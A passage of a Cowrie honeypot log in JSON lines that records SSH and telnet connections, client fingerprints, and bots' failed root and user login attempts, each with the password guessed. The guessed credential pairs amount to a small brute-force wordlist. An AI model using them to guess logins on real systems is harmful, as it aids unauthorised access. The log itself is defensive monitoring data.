256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:22.511981Z","src_ip":"85.215.121.209","session":"a30f518951ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mexc","password":"S@f3!P#ssw0rd$00","message":"login attempt [mexc/S@f3!P#ssw0rd$00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:22.810134Z","src_ip":"85.215.121.209","session":"a30f518951ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.41576218605042,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:23.768374Z","src_ip":"170.64.224.25","session":"4c5016a512d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:23.912747Z","src_ip":"85.215.121.209","session":"a30f518951ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":35454,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0d502f1565e","protocol":"telnet","message":"New connection: 137.184.5.188:35454 (159.203.135.109:23) [session: e0d502f1565e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:29.564083Z"}
{"eventid":"cowrie.session.closed","duration":91.0196545124054,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:30.635874Z","src_ip":"170.64.224.25","session":"9745d193aa5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.766087532043457,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:30.972314Z","src_ip":"170.64.224.25","session":"252cadb171f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":48494,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a29a9f8923","protocol":"ssh","message":"New connection: 210.90.155.178:48494 (10.17.0.5:22) [session: 37a29a9f8923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:32.560735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:32.565226Z","src_ip":"210.90.155.178","session":"37a29a9f8923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:32.769944Z","src_ip":"210.90.155.178","session":"37a29a9f8923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"123456","message":"login attempt [develop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:33.620008Z","src_ip":"210.90.155.178","session":"37a29a9f8923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:34.828616Z","src_ip":"210.90.155.178","session":"37a29a9f8923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38000,"dst_ip":"159.203.135.109","dst_port":23,"session":"972b17a41ddb","protocol":"telnet","message":"New connection: 170.64.224.25:38000 (159.203.135.109:23) [session: 972b17a41ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:55.894614Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:59.879027Z","src_ip":"147.45.211.215","session":"f38b0703d5d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.43768072128296,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:01.809570Z","src_ip":"170.64.224.25","session":"23d1b75076ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00157952308655,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:05.019459Z","src_ip":"107.6.151.170","session":"81155d1bc514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":50576,"dst_ip":"10.17.0.5","dst_port":22,"session":"01599e6311e0","protocol":"ssh","message":"New connection: 222.108.100.117:50576 (10.17.0.5:22) [session: 01599e6311e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:07.911900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:07.915634Z","src_ip":"222.108.100.117","session":"01599e6311e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:08.118562Z","src_ip":"222.108.100.117","session":"01599e6311e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":52598,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fa7ca356155","protocol":"ssh","message":"New connection: 94.138.209.214:52598 (159.203.135.109:22) [session: 3fa7ca356155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:08.400553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:08.405021Z","src_ip":"94.138.209.214","session":"3fa7ca356155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:08.528697Z","src_ip":"94.138.209.214","session":"3fa7ca356155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abcabc","message":"login attempt [root/123abcabc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:08.962161Z","src_ip":"222.108.100.117","session":"01599e6311e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lw147258","message":"login attempt [root/Lw147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:09.062645Z","src_ip":"94.138.209.214","session":"3fa7ca356155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:10.168312Z","src_ip":"222.108.100.117","session":"01599e6311e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:10.188887Z","src_ip":"94.138.209.214","session":"3fa7ca356155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.251.137","src_port":57042,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d98e19186a6","protocol":"ssh","message":"New connection: 198.12.251.137:57042 (159.203.135.109:22) [session: 7d98e19186a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:14.473410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:14.476021Z","src_ip":"198.12.251.137","session":"7d98e19186a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:14.542876Z","src_ip":"198.12.251.137","session":"7d98e19186a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yield789","message":"login attempt [root/yield789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:14.741576Z","src_ip":"198.12.251.137","session":"7d98e19186a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:15.811925Z","src_ip":"198.12.251.137","session":"7d98e19186a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":47538,"dst_ip":"10.17.0.5","dst_port":22,"session":"22bb30962b20","protocol":"ssh","message":"New connection: 91.92.40.4:47538 (10.17.0.5:22) [session: 22bb30962b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:24.029545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:24.161559Z","src_ip":"91.92.40.4","session":"22bb30962b20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:24.164578Z","src_ip":"91.92.40.4","session":"22bb30962b20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:24.552761Z","src_ip":"91.92.40.4","session":"22bb30962b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:25.636039Z","src_ip":"91.92.40.4","session":"22bb30962b20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.007354974746704,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:39.901819Z","src_ip":"170.64.224.25","session":"972b17a41ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.54054188728333,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:43.778371Z","src_ip":"170.64.224.25","session":"3e00b3a98239","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.10460329055786,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:57:54.668570Z","src_ip":"137.184.5.188","session":"e0d502f1565e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51980,"dst_ip":"10.17.0.5","dst_port":22,"session":"7849568cdd01","protocol":"ssh","message":"New connection: 103.15.222.183:51980 (10.17.0.5:22) [session: 7849568cdd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:14.352344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:14.356621Z","src_ip":"103.15.222.183","session":"7849568cdd01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:14.590155Z","src_ip":"103.15.222.183","session":"7849568cdd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19091994","message":"login attempt [root/19091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:15.295407Z","src_ip":"103.15.222.183","session":"7849568cdd01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:16.531141Z","src_ip":"103.15.222.183","session":"7849568cdd01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37914,"dst_ip":"159.203.135.109","dst_port":23,"session":"12a37c76f1e8","protocol":"telnet","message":"New connection: 170.64.224.25:37914 (159.203.135.109:23) [session: 12a37c76f1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:20.531954Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":58482,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7241605ece","protocol":"ssh","message":"New connection: 210.90.155.178:58482 (10.17.0.5:22) [session: 5d7241605ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:51.227672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:51.231942Z","src_ip":"210.90.155.178","session":"5d7241605ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:51.438674Z","src_ip":"210.90.155.178","session":"5d7241605ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"1234","message":"login attempt [myuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:58:52.279579Z","src_ip":"210.90.155.178","session":"5d7241605ece","protocol":"ssh"}
